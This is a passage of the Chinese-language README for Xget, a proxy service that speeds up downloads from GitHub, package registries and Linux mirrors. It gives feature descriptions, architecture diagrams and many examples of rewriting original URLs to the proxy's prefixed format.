[漢語（繁體）](README.zh-Hant.md)\n\n</div>\n\n[![GitHub](https://img.shields.io/badge/GitHub-181717?&logo=github&logoColor=white)](#github)\n[![GitLab](https://img.shields.io/badge/GitLab-FC6D26?&logo=gitlab&logoColor=white)](#gitlab)\n[![Gitea](https://img.shields.io/badge/Gitea-609926?&logo=gitea&logoColor=white)](#gitea)\n[![Codeberg](https://img.shields.io/badge/Codeberg-2185D0?&logo=codeberg&logoColor=white)](#codeberg)\n[![SourceForge](https://img.shields.io/badge/SourceForge-FF6600?&logo=sourceforge&logoColor=white)](#sourceforge)\n[![AOSP](https://img.shields.io/badge/AOSP-3DDC84?&logo=android&logoColor=white)](#aosp-android-%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE)\n[![Hugging Face](https://img.shields.io/badge/Hugging%20Face-FFD21E?&logo=huggingface&logoColor=black)](#hugging-face-镜像)\n[![Civitai](https://img.shields.io/badge/Civitai-1971C2)](#civitai-ai-模型平台)\n[![npm](https://img.shields.io/badge/npm-CB3837?logo=npm&logoColor=white)](#npm-包管理加速)\n[![PyPI](https://img.shields.io/badge/PyPI-3775A9?logo=pypi&logoColor=white)](#python-包管理加速)\n[![conda](https://img.shields.io/badge/conda-44A833?logo=anaconda&logoColor=white)](#conda-包管理加速)\n[![Maven](https://img.shields.io/badge/Maven-C71A36?logo=apachemaven&logoColor=white)](#maven-包管理加速)\n[![Apache](https://img.shields.io/badge/Apache-D22128?logo=apache&logoColor=white)](#apache-软件下载加速)\n[![Gradle](https://img.shields.io/badge/Gradle-02303A?logo=gradle&logoColor=white)](#gradle-包管理加速)\n[![Homebrew](https://img.shields.io/badge/Homebrew-FBB040?logo=homebrew&logoColor=black)](#homebrew-包管理加速)\n[![RubyGems](https://img.shields.io/badge/RubyGems-E9573F?logo=rubygems&logoColor=white)](#ruby-包管理加速)\n[![CRAN](https://img.shields.io/badge/CRAN-276DC3?logo=r&logoColor=white)](#r-包管理加速)\n[![CPAN](https://img.shields.io/badge/CPAN-0073A1?logo=perl&logoColor=white)](#perl-包管理加速)\n[![CTAN](https://img.shields.io/badge/CTAN-008080?logo=latex&logoColor=white)](#texlatex-包管理加速)\n[![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white)](#go-模块加速)\n[![NuGet](https://img.shields.io/badge/NuGet-004880?logo=nuget&logoColor=white)](#nuget-包管理加速)\n[![Rust](https://img.shields.io/badge/Rust-000000?logo=rust&logoColor=white)](#rust-包管理加速)\n[![Packagist](https://img.shields.io/badge/Packagist-F28D1A?logo=packagist&logoColor=white)](#php-包管理加速)\n[![Flathub](https://img.shields.io/badge/Flathub-000000?logo=flathub&logoColor=white)](#flathub-存储库镜像)\n[![Debian](https://img.shields.io/badge/Debian-A81D33?logo=debian&logoColor=white)](#debianubuntu-apt-配置)\n[![Ubuntu](https://img.shields.io/badge/Ubuntu-E95420?logo=ubuntu&logoColor=white)](#debianubuntu-apt-配置)\n[![Fedora](https://img.shields.io/badge/Fedora-51A2DA?logo=fedora&logoColor=white)](#fedora-dnf-配置)\n[![Rocky Linux](https://img.shields.io/badge/Rocky%20Linux-10B981?logo=rockylinux&logoColor=white)](#rocky-linux-dnf-配置)\n[![openSUSE](https://img.shields.io/badge/openSUSE-73BA25?logo=opensuse&logoColor=white)](#opensuse-zypper-配置)\n[![Arch Linux](https://img.shields.io/badge/Arch%20Linux-1793D1?logo=archlinux&logoColor=white)](#arch-linux-pacman-配置)\n[![arXiv](https://img.shields.io/badge/arXiv-B31B1B?logo=arxiv&logoColor=white)](#arxiv-论文下载)\n[![F-Droid](https://img.shields.io/badge/F--Droid-1976D2?logo=f-droid&logoColor=white)](#f-droid-存储库镜像)\n[![Jenkins](https://img.shields.io/badge/Jenkins-D24939?logo=jenkins&logoColor=white)](#jenkins-插件下载)\n[![容器注册表](https://img.shields.io/badge/容器注册表-262261?logo=opencontainersinitiative&logoColor=white)](#容器注册表)\n[![AI 推理提供商](https://img.shields.io/badge/AI%20推理提供商-94A3B8?logo=openrouter&logoColor=white)](#ai-推理提供商)\n\n面向开发者资源的超高性能、安全、一体化加速引擎，其性能显著优于传统解决方案，为代码存储库、模型和数据集中心、软件包注册表、容器注册表、AI 推理提供商等提供统一、高效的加速。\n\n技术深度解析文章已发布：**[《深入剖析 Xget：一个高性能、多协议、高安全性的开发者资源加速引擎》](https://blog.xi-xu.me/en/2025/10/07/Deep-Dive-into-Xget.html)**。\n\nXget 已受邀入驻\n[GitCode 平台](https://gitcode.com/xixu-me/xget)，并被认证为 G-Star 毕业项目；同时也获得多位技术博主自发推荐，包括[阮一峰](https://www.ruanyifeng.com/blog/2025/12/weekly-issue-379.html#:~:text=Xget)、[GitHubDaily](https://x.com/i/status/1956204203937829256)、[鱼 C](https://www.bilibili.com/video/BV1EeeBzVEop/)、[玄离 199](https://www.bilibili.com/video/BV197hqzsE8Y/?t=8)\n等。在此感谢 GitCode 的认可，也感谢每一位分享、推荐和实际使用 Xget 的朋友。\n\n## 🎯 快速使用\n\n**预部署实例（不保证可靠性）：`xget.xi-xu.me`**\n\n**URL 转换器：**[**`xuc.xi-xu.me`**](https://xuc.xi-xu.me) - 一键转换任意支持平台的 URL 为 Xget 的加速格式\n\n**Agent Skills：**[**`skills/xget/`**](skills/xget/) - 可以作为独立的 `/xget`\n目录直接安装到 skills 目录中\n\n## 🌟 核心优势 - 为什么选择 Xget？\n\n### ⚡ 极速性能 - 突破传统加速器瓶颈\n\n- **⚡ 毫秒级响应**：Cloudflare 全球 330+ 边缘节点，平均响应时间 < 50ms\n- **🌐\n  HTTP/3 极速协议**：启用最新 HTTP/3 协议，连接延迟降低 40%，传输速度提升 30%\n- **📦 智能多重压缩**：gzip、deflate、brotli 三重压缩算法，传输效率提升 60%\n- **🔗 零延迟预连接**：连接预热和保持活跃，消除握手开销，实现秒级响应\n- **⚡ 并行分片下载**：完整支持 HTTP Range 请求，多线程下载速度倍增\n- **🎯 智能路由优化**：自动选择最优传输路径，避开网络拥堵节点\n\n### 🌐 多平台深度集成\n\n- **一站式多平台支持**：统一支持各种开发场景中的主流平台\n- **智能识别与转换**：自动识别平台前缀并转换为目标平台的正确 URL 结构\n- **一致的加速体验**：无论文件类型或来源，均可享受统一且稳定的极速下载体验\n\n### 🔒 企业级安全保障\n\n- **多层安全标头**：\n  - `Strict-Transport-Security`：强制 HTTPS 传输，预防中间人攻击\n  - `X-Frame-Options: DENY`：防止点击劫持攻击\n  - `X-XSS-Protection`：内置 XSS 防护机制\n  - `Content-Security-Policy`：严格的内容安全策略\n  - `Referrer-Policy`：控制引用信息泄露\n- **请求验证机制**：\n  - HTTP 方法白名单：常规请求限制为 GET/HEAD，而 Git/LFS、容器镜像仓库、AI 推理和 Hugging\n    Face API 请求会按需允许 `POST`、`PUT`、`PATCH` 和 `DELETE`\n  - 路径长度限制：防止超长 URL 攻击（最大 2048 字符）\n  - 输入清理：防止路径遍历和注入攻击\n- **超时保护**：30 秒请求超时，防止资源耗尽和恶意请求\n\n### 🚀 现代架构与可靠性\n\n- **智能重试机制**：\n  - 最大 3 次重试，线性延迟策略（1000ms × 重试次数）\n  - 自动错误恢复，提高下载成功率\n  - 超时检测和中断处理\n- **高效缓存策略**：\n  - 1800 秒（30 分钟）默认缓存时长，显著减少源站压力\n  - Git 操作跳过缓存，确保实时性\n  - 基于 Cloudflare Cache API 的边缘缓存\n- **性能监控系统**：\n  - 内置 `PerformanceMonitor` 类，实时追踪请求各阶段耗时\n  - 通过 `X-Performance-Metrics` 响应头提供详细性能数据\n  - 支持缓存命中率统计和优化建议\n\n### 🎯 Git 协议完全兼容\n\n- **智能协议检测**：\n  - 自动识别 Git 特定端点（`/info/refs`、`/git-upload-pack`、`/git-receive-pack`）\n  - 检测 Git 客户端 User-Agent 模式\n  - 支持 `service=git-upload-pack` 等查询参数\n- **完整操作支持**：\n  - `git clone`：完整存储库克隆，支持浅克隆和分支指定\n  - `git push`：代码推送和分支管理\n  - `git pull/fetch`：增量更新和远程同步\n  - `git submodule`：子模块递归克隆\n- **协议优化**：\n  - 保持 Git 专用请求头和认证信息\n  - 智能 User-Agent 处理（默认 `git/2.34.1`）\n  - 支持 Git LFS 大文件传输\n\n### 📱 生态系统集成\n\n- **专用浏览器扩展**：[Xget Now](https://github.com/xixu-me/Xget-Now)\n  提供无缝体验\n  - 自动 URL 重定向，无需手动修改 URL\n  - 支持自定义 Xget 实例域名\n  - 多平台偏好设置和黑白名单管理\n  - 本地处理，确保隐私安全\n- **下载工具兼容**：完美支持 wget、cURL、aria2、IDM 等主流下载工具\n- **CI/CD 集成**：可直接在 GitHub Actions、GitLab CI 等环境中使用\n\n## 🏗️ 系统架构\n\n### 请求处理流程\n\n```mermaid\ngraph TD\n    Request[用户请求 / User-Agent] --> Identify{识别平台}\n    Identify -->|无效| Error[返回错误]\n    Identify -->|有效| Transform[转换路径]\n\n    Transform --> CheckProtocol{检查协议}\n\n    CheckProtocol -->|Git| GitHandler[Git 协议适配器]\n    CheckProtocol -->|Docker| DockerHandler[Docker 协议适配器]\n    CheckProtocol -->|AI| AIHandler[AI 推理适配器]\n    CheckProtocol -->|标准| StdHandler[标准适配器]\n\n    GitHandler --> Upstream[获取上游]\n    DockerHandler --> Upstream\n    AIHandler --> Upstream\n\n    StdHandler --> CacheCheck{检查缓存}\n    CacheCheck -->|命中| ReturnCache[返回缓存响应]\n    CacheCheck -->|未命中| Upstream\n\n    Upstream -->|成功| ProcessResponse[处理响应]\n    Upstream -->|失败| Retry{重试?}\n\n    Retry -->|是| Wait[\"等待 (退避)\"] --> Upstream\n    Retry -->|否| Error\n\n    ProcessResponse --> Finalize[添加标头并返回]\n    Finalize --> Response[响应]\n```\n\n### 组件架构\n\n```mermaid\nclassDiagram\n    class Worker {\n        +fetch(request)\n    }\n    class AppHandler {\n        +handleRequest(request, env, ctx)\n    }\n    class PlatformCatalog {\n        +PLATFORM_CATALOG\n    }\n    class PlatformRouting {\n        +transformPath()\n        +resolveTarget()\n    }\n    class Validation {\n        +validateRequest()\n        +isDockerRequest()\n    }\n    class GitProtocol {\n        +configureGitHeaders()\n        +isGitRequest()\n    }\n    class DockerProtocol {\n        +handleDockerAuth()\n        +fetchToken()\n    }\n    class AIProtocol {\n        +configureAIHeaders()\n    }\n    class UpstreamPipeline {\n        +tryReadCachedResponse()\n        +fetchUpstreamResponse()\n    }\n    class ResponsePipeline {\n        +finalizeResponse()\n    }\n    class Security {\n        +addSecurityHeaders()\n    }\n    class Performance {\n        +monitor()\n    }\n\n    Worker --> AppHandler\n    AppHandler --> PlatformCatalog\n    AppHandler --> PlatformRouting\n    AppHandler --> Validation\n    AppHandler --> GitProtocol\n    AppHandler --> DockerProtocol\n    AppHandler --> AIProtocol\n    AppHandler --> UpstreamPipeline\n    AppHandler --> ResponsePipeline\n    AppHandler --> Security\n    AppHandler --> Performance\n    PlatformRouting --> PlatformCatalog\n```\n\n## 📖 URL 转换规则\n\n使用预部署实例 **`xget.xi-xu.me`**\n或你自己部署的实例，只需简单替换域名并添加平台前缀：\n\n### 转换格式\n\n| 平台          | 平台前缀    | 原始 URL 格式                                                       | 加速 URL 格式                                                                    |\n| ------------- | ----------- | ------------------------------------------------------------------- | -------------------------------------------------------------------------------- |\n| GitHub        | `gh`        | `https://github.com/...`                                            | `https://xget.xi-xu.me/gh/...`                                                   |\n| GitHub Gist   | `gist`      | `https://gist.github.com/...`                                       | `https://xget.xi-xu.me/gist/...`                                                 |\n| GitLab        | `gl`        | `https://gitlab.com/...`                                            | `https://xget.xi-xu.me/gl/...`                                                   |\n| Gitea         | `gitea`     | `https://gitea.com/...`                                             | `https://xget.xi-xu.me/gitea/...`                                                |\n| Codeberg      | `codeberg`  | `https://codeberg.org/...`                                          | `https://xget.xi-xu.me/codeberg/...`                                             |\n| SourceForge   | `sf`        | `https://sourceforge.net/...`                                       | `https://xget.xi-xu.me/sf/...`                                                   |\n| AOSP          | `aosp`      | `https://android.googlesource.com/...`                              | `https://xget.xi-xu.me/aosp/...`                                                 |\n| Hugging Face  | `hf`        | `https://huggingface.co/...`                                        | `https://xget.xi-xu.me/hf/...`                                                   |\n| Civitai       | `civitai`   | `https://civitai.com/...`                                           | `https://xget.xi-xu.me/civitai/...`                                              |\n| npm           | `npm`       | `https://registry.npmjs.org/...`                                    | `https://xget.xi-xu.me/npm/...`                                                  |\n| PyPI          | `pypi`      | `https://pypi.org/...`                                              | `https://xget.xi-xu.me/pypi/...`                                                 |\n| conda         | `conda`     | `https://repo.anaconda.com/...` 和 `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` 和 `https://xget.xi-xu.me/conda/community/...` |\n| Maven         | `maven`     | `https://repo1.maven.org/...`                                       | `https://xget.xi-xu.me/maven/...`                                                |\n| Apache        | `apache`    | `https://downloads.apache.org/...`                                  | `https://xget.xi-xu.me/apache/...`                                               |\n| Gradle        | `gradle`    | `https://plugins.gradle.org/...`                                    | `https://xget.xi-xu.me/gradle/...`                                               |\n| Homebrew      | `homebrew`  | `https://github.com/Homebrew/...`                                   | `https://xget.xi-xu.me/homebrew/...`                                             |\n| RubyGems      | `rubygems`  | `https://rubygems.org/...`                                          | `https://xget.xi-xu.me/rubygems/...`                                             |\n| CRAN          | `cran`      | `https://cran.r-project.org/...`                                    | `https://xget.xi-xu.me/cran/...`                                                 |\n| CPAN          | `cpan`      | `https://www.cpan.org/...`                                          | `https://xget.xi-xu.me/cpan/...`                                                 |\n| CTAN          | `ctan`      | `https://tug.ctan.org/...`                                          | `https://xget.xi-xu.me/ctan/...`                                                 |\n| Go 模块       | `golang`    | `https://proxy.golang.org/...`                                      | `https://xget.xi-xu.me/golang/...`                                               |\n| NuGet         | `nuget`     | `https://api.nuget.org/...`                                         | `https://xget.xi-xu.me/nuget/...`                                                |\n| Rust Crates   | `crates`    | `https://crates.io/...`                                             | `https://xget.xi-xu.me/crates/...`                                               |\n| Packagist     | `packagist` | `https://repo.packagist.org/...`                                    | `https://xget.xi-xu.me/packagist/...`                                            |\n| Flathub       | `flathub`   | `https://dl.flathub.org/...`                                        | `https://xget.xi-xu.me/flathub/...`                                              |\n| Debian        | `debian`    | `https://deb.debian.org/...`                                        | `https://xget.xi-xu.me/debian/...`                                               |\n| Ubuntu        | `ubuntu`    | `https://archive.ubuntu.com/...`                                    | `https://xget.xi-xu.me/ubuntu/...`                                               |\n| Fedora        | `fedora`    | `https://dl.fedoraproject.org/...`                                  | `https://xget.xi-xu.me/fedora/...`                                               |\n| Rocky Linux   | `rocky`     | `https://download.rockylinux.org/...`                               | `https://xget.xi-xu.me/rocky/...`                                                |\n| openSUSE      | `opensuse`  | `https://download.opensuse.org/...`                                 | `https://xget.xi-xu.me/opensuse/...`                                             |\n| Arch Linux    | `arch`      | `https://geo.mirror.pkgbuild.com/...`                               | `https://xget.xi-xu.me/arch/...`                                                 |\n| arXiv         | `arxiv`     | `https://arxiv.org/...`                                             | `https://xget.xi-xu.me/arxiv/...`                                                |\n| F-Droid       | `fdroid`    | `https://f-droid.org/...`                                           | `https://xget.xi-xu.me/fdroid/...`                                               |\n| Jenkins 插件  | `jenkins`   | `https://updates.jenkins.io/...`                                    | `https://xget.xi-xu.me/jenkins/...`                                              |\n| 容器注册表    | `cr`        | 见[容器注册表](#容器注册表)                                         | 见[容器注册表](#容器注册表)                                                      |\n| AI 推理提供商 | `ip`        | 见 [AI 推理提供商](#ai-推理提供商)                                  | 见 [AI 推理提供商](#ai-推理提供商)                                               |\n\n### 各平台转换示例\n\n#### GitHub\n\n```url\n# 原始 URL\nhttps://github.com/microsoft/vscode/archive/refs/heads/main.zip\n\n# 转换后（添加 gh 前缀）\nhttps://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n```\n\n#### GitHub Gist\n\n```url\n# 原始 URL\nhttps://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md\n\n# 转换后（添加 gist 前缀）\nhttps://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md\n```\n\n#### GitLab\n\n```url\n# 原始 URL\nhttps://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip\n\n# 转换后（添加 gl 前缀）\nhttps://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip\n```\n\n#### Gitea\n\n```url\n# 原始 URL\nhttps://gitea.com/gitea/gitea/archive/master.zip\n\n# 转换后（添加 gitea 前缀）\nhttps://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip\n```\n\n#### Codeberg\n\n```url\n# 原始 URL\nhttps://codeberg.org/forgejo/forgejo/archive/forgejo.zip\n\n# 转换后（添加 codeberg 前缀）\nhttps://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip\n```\n\n#### SourceForge\n\n```url\n# 原始 URL\nhttps://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download\n\n# 转换后（添加 sf 前缀）\nhttps://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download\n```\n\n#### AOSP (Android 开源项目)\n\n```url\n# AOSP 项目原始 URL\nhttps://android.googlesource.com/platform/frameworks/base\n\n# 转换后（添加 aosp 前缀）\nhttps://xget.xi-xu.me/aosp/platform/frameworks/base\n\n# AOSP 设备树原始 URL\nhttps://android.googlesource.com/device/google/pixel\n\n# 转换后（添加 aosp 前缀）\nhttps://xget.xi-xu.me/aosp/device/google/pixel\n```\n\n#### Hugging Face\n\n```url\n# 模型文件原始 URL\nhttps://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin\n\n# 转换后（添加 hf 前缀）\nhttps://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin\n\n# 数据集文件原始 URL\nhttps://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet\n\n# 转换后（添加 hf 前缀）\nhttps://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet\n```\n\n#### Civitai\n\n```url\n# AI 模型下载原始 URL\nhttps://civitai.com/api/download/models/128713\n\n# 转换后（添加 civitai 前缀）\nhttps://xget.xi-xu.me/civitai/api/download/models/128713\n\n# 模型 API 原始 URL\nhttps://civitai.com/api/v1/models/7240\n\n# 转换后（添加 civitai 前缀）\nhttps://xget.xi-xu.me/civitai/api/v1/models/7240\n\n# 模型版本 API 原始 URL\nhttps://civitai.com/api/v1/model-versions/128713\n\n# 转换后（添加 civitai 前缀）\nhttps://xget.xi-xu.me/civitai/api/v1/model-versions/128713\n```\n\n#### npm\n\n```url\n# 包文件原始 URL\nhttps://registry.npmjs.org/react/-/react-18.2.0.tgz\n\n# 转换后（添加 npm 前缀）\nhttps://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz\n\n# 包元数据原始 URL\nhttps://registry.npmjs.org/lodash\n\n# 转换后（添加 npm 前缀）\nhttps://xget.xi-xu.me/npm/lodash\n```\n\n#### PyPI\n\n```url\n# Python 包文件原始 URL\nhttps://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz\n\n# 转换后（添加 pypi 前缀）\nhttps://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz\n\n# Wheel 文件原始 URL\nhttps://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl\n\n# 转换后（添加 pypi 前缀）\nhttps://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl\n```\n\n#### conda\n\n```url\n# 默认频道包文件原始 URL\nhttps://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda\n\n# 转换后（添加 conda 前缀）\nhttps://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda\n\n# 社区频道元数据原始 URL\nhttps://conda.anaconda.org/conda-forge/linux-64/repodata.json\n\n# 转换后（添加 conda/community 前缀）\nhttps://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json\n```\n\n#### Maven\n\n```url\n# Maven 中央存储库 JAR 文件原始 URL\nhttps://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar\n\n# 转换后（添加 maven 前缀）\nhttps://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar\n\n# Maven 元数据原始 URL\nhttps://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml\n\n# 转换后（添加 maven 前缀）\nhttps://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml\n```\n\n#### Apache 软件下载\n\n```url\n# Apache 软件下载原始 URL\nhttps://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# 转换后（添加 apache 前缀）\nhttps://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# Apache Maven 下载原始 URL\nhttps://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# 转换后（添加 apache 前缀）\nhttps://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# Apache Spark 下载原始 URL\nhttps://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n\n# 转换后（添加 apache 前缀）\nhttps://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n```\n\n#### Gradle\n\n```url\n# Gradle 插件门户 JAR 文件原始 URL\nhttps://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar\n\n# 转换后（添加 gradle 前缀）\nhttps://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar\n\n# Gradle 插件元数据原始 URL\nhttps://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module\n\n# 转换后（添加 gradle 前缀）\nhttps://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module\n```\n\n#### Homebrew\n\n```url\n# Homebrew 公式存储库原始 URL\nhttps://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb\n\n# 转换后（添加 homebrew 前缀）\nhttps://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb\n\n# Homebrew API 原始 URL\nhttps://formulae.brew.sh/api/formula/git.json\n\n# 转换后（添加 homebrew/api 前缀）\nhttps://xget.xi-xu.me/homebrew/api/formula/git.json\n\n# Homebrew Bottles 原始 URL\nhttps://ghcr.io/v2/homebrew/core/git/manifests/2.39.0\n\n# 转换后（添加 homebrew/bottles 前缀）\nhttps://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0\n```\n\n#### RubyGems\n\n```url\n# RubyGems 包文件原始 URL\nhttps://rubygems.org/gems/rails-7.0.4.gem\n\n# 转换后（添加 rubygems 前缀）\nhttps://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem\n\n# RubyGems API 原始 URL\nhttps://rubygems.org/api/v1/gems/nokogiri.json\n\n# 转换后（添加 rubygems 前缀）\nhttps://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json\n```\n\n#### CRAN\n\n```url\n# CRAN 包文件原始 URL\nhttps://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz\n\n# 转换后（添加 cran 前缀）\nhttps://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz\n\n# CRAN 包元数据原始 URL\nhttps://cran.r-project.org/web/packages/dplyr/DESCRIPTION\n\n# 转换后（添加 cran 前缀）\nhttps://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION\n```\n\n#### CPAN (Perl 包管理)\n\n```url\n# CPAN 模块原始 URL\nhttps://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz\n\n# 转换后（添加 cpan 前缀）\nhttps://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz\n\n# CPAN 作者包原始 URL\nhttps://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz\n\n# 转换后（添加 cpan 前缀）\nhttps://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz\n```\n\n#### CTAN (TeX/LaTeX 包管理)\n\n```url\n# CTAN 包文件原始 URL\nhttps://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip\n\n# 转换后（添加 ctan 前缀）\nhttps://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip\n\n# CTAN 字体文件原始 URL\nhttps://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk\n\n# 转换后（添加 ctan 前缀）\nhttps://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk\n```\n\n#### Go 模块\n\n```url\n# Go 模块代理原始 URL\nhttps://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip\n\n# 转换后（添加 golang 前缀）\nhttps://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip\n\n# Go 模块信息原始 URL\nhttps://proxy.golang.org/github.com/gorilla/mux/@v/list\n\n# 转换后（添加 golang 前缀）\nhttps://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list\n```\n\n#### NuGet\n\n```url\n# NuGet 包下载原始 URL\nhttps://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg\n\n# 转换后（添加 nuget 前缀）\nhttps://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg\n\n# NuGet 包元数据原始 URL\nhttps://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json\n\n# 转换后（添加 nuget 前缀）\nhttps://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json\n```\n\n#### Rust Crates\n\n```url\n# Crate 下载原始 URL\nhttps://crates.io/api/v1/crates/serde/1.0.0/download\n\n# 转换后（添加 crates 前缀）\nhttps://xget.xi-xu.me/crates/serde/1.0.0/download\n\n# Crate 元数据原始 URL\nhttps://crates.io/api/v1/crates/serde\n\n# 转换后（添加 crates 前缀）\nhttps://xget.xi-xu.me/crates/serde\n\n# Crate 搜索原始 URL\nhttps://crates.io/api/v1/crates?q=serde\n\n# 转换后（添加 crates 前缀）\nhttps://xget.xi-xu.me/crates/?q=serde\n```\n\n#### Packagist\n\n```url\n# Packagist 包元数据原始 URL\nhttps://repo.packagist.org/p2/symfony/console.json\n\n# 转换后（添加 packagist 前缀）\nhttps://xget.xi-xu.me/packagist/p2/symfony/console.json\n\n# Packagist 包列表原始 URL\nhttps://repo.packagist.org/packages/list.json\n\n# 转换后（添加 packagist 前缀）\nhttps://xget.xi-xu.me/packagist/packages/list.json\n```\n\n#### Flathub\n\n```url\n# Flathub 存储库原始 URL\nhttps://dl.flathub.org/repo/summary\n\n# 转换后（添加 flathub 前缀）\nhttps://xget.xi-xu.me/flathub/repo/summary\n\n# Flathub 应用引用原始 URL\nhttps://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref\n\n# 转换后（添加 flathub 前缀）\nhttps://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref\n```\n\n#### Linux 发行版\n\n```url\n# Debian 包原始 URL\nhttps://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb\n\n# 转换后（添加 debian 前缀）\nhttps://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb\n\n# Ubuntu 包原始 URL\nhttps://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb\n\n# 转换后（添加 ubuntu 前缀）\nhttps://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb\n\n# Fedora 包原始 URL\nhttps://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm\n\n# 转换后（添加 fedora 前缀）\nhttps://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm\n\n# Rocky Linux 包原始 URL\nhttps://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm\n\n# 转换后（添加 rocky 前缀）\nhttps://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm\n\n# openSUSE 包原始 URL\nhttps://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm\n\n# 转换后（添加 opensuse 前缀）\nhttps://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm\n\n# Arch Linux 包原始 URL\nhttps://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst\n\n# 转换后（添加 arch 